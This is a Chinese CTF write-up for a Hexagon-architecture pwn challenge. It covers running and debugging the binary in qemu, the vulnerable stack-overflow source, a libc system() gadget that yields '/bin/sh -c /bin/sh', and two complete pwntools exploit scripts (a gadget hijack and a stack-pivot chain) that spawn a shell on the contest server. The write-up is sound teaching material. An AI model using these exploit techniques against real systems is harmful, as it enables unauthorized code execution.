0x00 前记

大佬们轻点喷qaq

这是一道hexagon架构的pwn题,比较冷门,但漏洞很简单就是一个栈溢出。第一次见hexagon架构的pwn题是在2024年的geekctf上,具体关于hexagon程序运行、调试、栈迁移打法复现,可以看我的这篇博客(如果你是在做题的时候现学查到的先知那篇文章,没错那也是我的)下面也会讲到,这篇文章里其实还记录了新利用的发现,但是在比赛期间被我锁上了。

鉴于VNCTF是招新赛,也算是半个新生赛了(确信),所以题目难度降了又降。从一开始的极少栈空间,到给多一定栈空间可以有机会通过多次栈迁移攻击,到最后连log都给出来了,免去了选手爆破栈地址的痛苦,十个左右的解是符合预期的。

所以这道题总共有两种解法,虽然我很希望有选手能够通过除了栈迁移之外的打法做出这道题,但是遗憾的的是似乎大家都参照了先知的文章用栈迁移打通的。栈迁移打法的脚本在文章最后。

0x01 程序运行与调试

  1. 首先qemu-user的安装是有必要的,里面包含了qemu-hexagon,这是程序运行的基础设施
  2. 第二步是将libc链接到/lib里sudo ln -sf libc.so /lib/ld-musl-hexagon.so.1
  3. 第三步运行程序qemu-hexagon ./main就能运行起来了
  4. 调试程序实测gdb-mutilarch用不了,所以建议不折腾用qemu本身的调试功能来调试,这里给出其中一种信息较详细的调试命令qemu-hexagon -L libc -d in_asm,exec,cpu,page,nochain -singlestep -dfilter 0x20420+0xc0 -strace -D ./log ./main
  5. 题目没给出源码,如果要在IDA反汇编看代码,需要借助插件

0x02 源码

按照国际惯例先给出源码,其实也非常简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vuln()
{
char vul_buf[8];
volatile int pad;
volatile int key;
scanf("%d", &key);
read(0, vul_buf, 16);
system("cat /home/ctf/log");
}

int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
puts("Welcome back, hexagon player!");
vuln();
return 0;
}

0x03 新的利用方式

这可能并不能是新的利用方式,毕竟这种形式的类ogg在各个libc里都挺常见的,只是用的比较少。但至少在hexagon架构里有一定好处,hexagon的指令集中是没有pop和push的,所以不能像x86_64那样构造ROP直接控制寄存器,而是要通过栈(迁移)来控制寄存器。在栈容量较小的时候还是太吃操作了,主包还有没有更简单的方法。有的兄弟有的。

我们在libc.so中先找到/bin/sh,然后看他的引用,跳到system函数上,可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:000BE7C0                 { r3 = memw(fp + #var_42C) }
.text:000BE7C4 { r0 = add(pc, ##aSh@pcrel) } // "sh"
.text:000BE7CC { memw(fp + #var_420) = r0 }
.text:000BE7D0 { r0 = add(pc, ##aC_0@pcrel) } // "-c"
.text:000BE7D8 { memw(fp + #var_41C) = r0 }
.text:000BE7DC { r0 = memw(fp + #var_10) }
.text:000BE7E0 { memw(fp + #var_418) = r0 }
.text:000BE7E4 { r2 = #0 }
.text:000BE7E8 { memw(fp + #var_414) = r2 }
.text:000BE7EC { r0 = add(pc, ##_GLOBAL_OFFSET_TABLE_@pcrel) }
.text:000BE7F4 { r0 = memw(r0 + ##-0x102F4) }
.text:000BE7FC { r5 = memw(r0) }
.text:000BE800 { r1 = add(pc, ##aBinSh@pcrel) } // "/bin/sh"
.text:000BE808 { r0 = add(fp, #-0x14) }
.text:000BE80C { r4 = add(fp, #-0x420) }
.text:000BE810 { call posix_spawn }
.text:000BE818 { r1 = r0 }
.text:000BE81C { r0 = memw(fp + #var_42C) }
.text:000BE820 { memw(fp + #var_2C0) = r1 }
.text:000BE824 { call posix_spawnattr_destroy }
.text:000BE82C { r0 = memw(fp + #var_2C0) }
.text:000BE830 { p0 = cmp.eq(r0, #0) }
.text:000BE834 { p0 = not(p0) }
.text:000BE838 { if (p0) jump loc_BE8A4 }
.text:000BE83C { jump loc_BE840 }
.text:000BE840 // ---------------------------------------------------------------------------
.text:000BE840
.text:000BE840 loc_BE840: // CODE XREF: system+1CC↑j
.text:000BE840 { jump loc_BE844 }
.text:000BE844 // ---------------------------------------------------------------------------
.text:000BE844
.text:000BE844 loc_BE844: // CODE XREF: system:loc_BE840↑j
.text:000BE844 // system:loc_BE89C↓j
.text:000BE844 { r0 = memw(fp + #var_14) }
.text:000BE848 { r1 = add(fp, #-0x2BC) }
.text:000BE84C { r2 = #0 }
.text:000BE850 { call waitpid }

其实就是system函数执行命令的逻辑是/bin/sh -c xxxx,而这个xxxx命令会从fp-0x10中取。那么我只需要满足以下三点就能执行/bin/sh -c /bin/sh

  1. 栈上写0x3FED19F7(libcbase=0x3FEC0000,则0x3FED19F7是/bin/sh字符串)
  2. 控制好fp(类似rbp寄存器)使得[fp-0x10]精准命中栈上的0x3FED19F7
  3. 劫持返回地址为libcbase+0xBE7C0,也就是上面这个gadget的开始(不同版本的libc偏移可能存在差异)

也就是说我们只需要得知栈地址和libc地址就能轻松getshell,而这两个地址在qemu环境下一点也不难得知,更何况本题给出了log,log中记载了当次程序运行的所有系统调用情况,我们通过查看read调用就能找到栈地址。libc地址同理,有很多方法可以获取。这样的方法免去了调试栈迁移的痛苦。

hexagon这道题其实有点就题出题的意思在里面,给了scanf就是为了给选手输入0x3FED19F7到[fp-0x10]的(赤裸裸的明示)。实际上只要题目能够输入4*3字节并能覆盖fp和返回地址,就能使用这种方法getshell,或者执行其他命令。

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

# r = process(['qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain', '-singlestep',
# '-dfilter', '0x20420+0xc0', '-strace', '-D', './log', './main'])
r = remote('node.vnteam.cn', 43815)
context(os='linux', log_level='debug')
libc = ELF('./libc.so')

stack = 0x4080e9d8 # 栈地址在ubuntu22的qemu下可能会变
libc_base = 0x3FEC0000 # libc地址不会变
binsh = libc_base+0x119f7

r.recv()
r.sendline(str(binsh).encode())

payload = p32(0)*2 + p32(stack+8)+p32(libc_base+0xBE7C0)
r.send(payload)

r.interactive()

0x05 栈迁移方法的EXP

出题人最近比较忙所以直接贴出本题一血的栈迁移脚本。绝对不是因为出题人懒哟。绝对不是哟。

为了不误导大家,脚本中原先存在的部分注释被删掉了,请大家自行调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from LibcSearcher import *
from ae64 import AE64
from ctypes import cdll

filename = './main'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('./libc.so')

if local:
# sh = process(filename)
# sh = process(['qemu-hexagon', './main'])
sh = process(['qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain', '-singlestep', '-dfilter', '0x20460+0x40', '-strace', '-D', './log', './main'])
# sh = process(['qemu-hexagon', '-g', '1234', './main'])
else:
sh = remote('node.vnteam.cn', 47998)

def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid, params)
pause()

def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)

stack_addr = 0x4080f1c8
libc_base= 0x3FEC0000
gadget1 = 0x20534 # r0 = memw(fp + #var_8) dealloc_return
gadget2 = libc_base + 0xDB2CC # r0 = memw(fp + #var_4) dealloc_return
gadget3 = libc_base + 0x54630 # r0 = memw(fp -0x10 ) dealloc_return
ret = 0x20538
bss = 0x406d0
bss = stack_addr
target = 0x1039E
call_system = 0x2048C

payload = str(0x1000)
sh.sendlineafter('Welcome back, hexagon player!\n', payload)

payload = b'a'*8 + p32(bss+8) + p32(0x20474)
sh.send(payload)

payload = b'a'*8 + p32(bss-0x30+8) + p32(0x20474)
sh.send(payload)

payload = b'/bin/sh\x00' + p32(bss-0x20+0x8) + p32(0x20474)
sh.send(payload)

payload = p32(0x4080f198) + b'bbbb' + p32(bss-0x10+0x8) + p32(0x20474)
sh.send(payload)

payload = b'sh\x00\x00' + p32(0x2048C) + p32(bss-0x10) + p32(gadget3)
sh.send(payload)

# bss-0x30 /bin/sh
# bss-0x2c xxxx
# bss-0x28 bss-0x20+8
# bss-0x24 start_read

# bss-0x20 0x4080f198
# bss-0x1c bbbb
# bss-0x18 bss-0x10+8
# bss-0x14 start_read

# bss-0x10 sh
# bss-0xc 0xdeadbeaf
# bss-8 bss-0x10
# bss-4 gadget3

# bss aaaa
# bss+4 aaaa
# bss+8 bss-0x30+8
# bss+0xc start_read


sh.interactive()
⬆︎TOP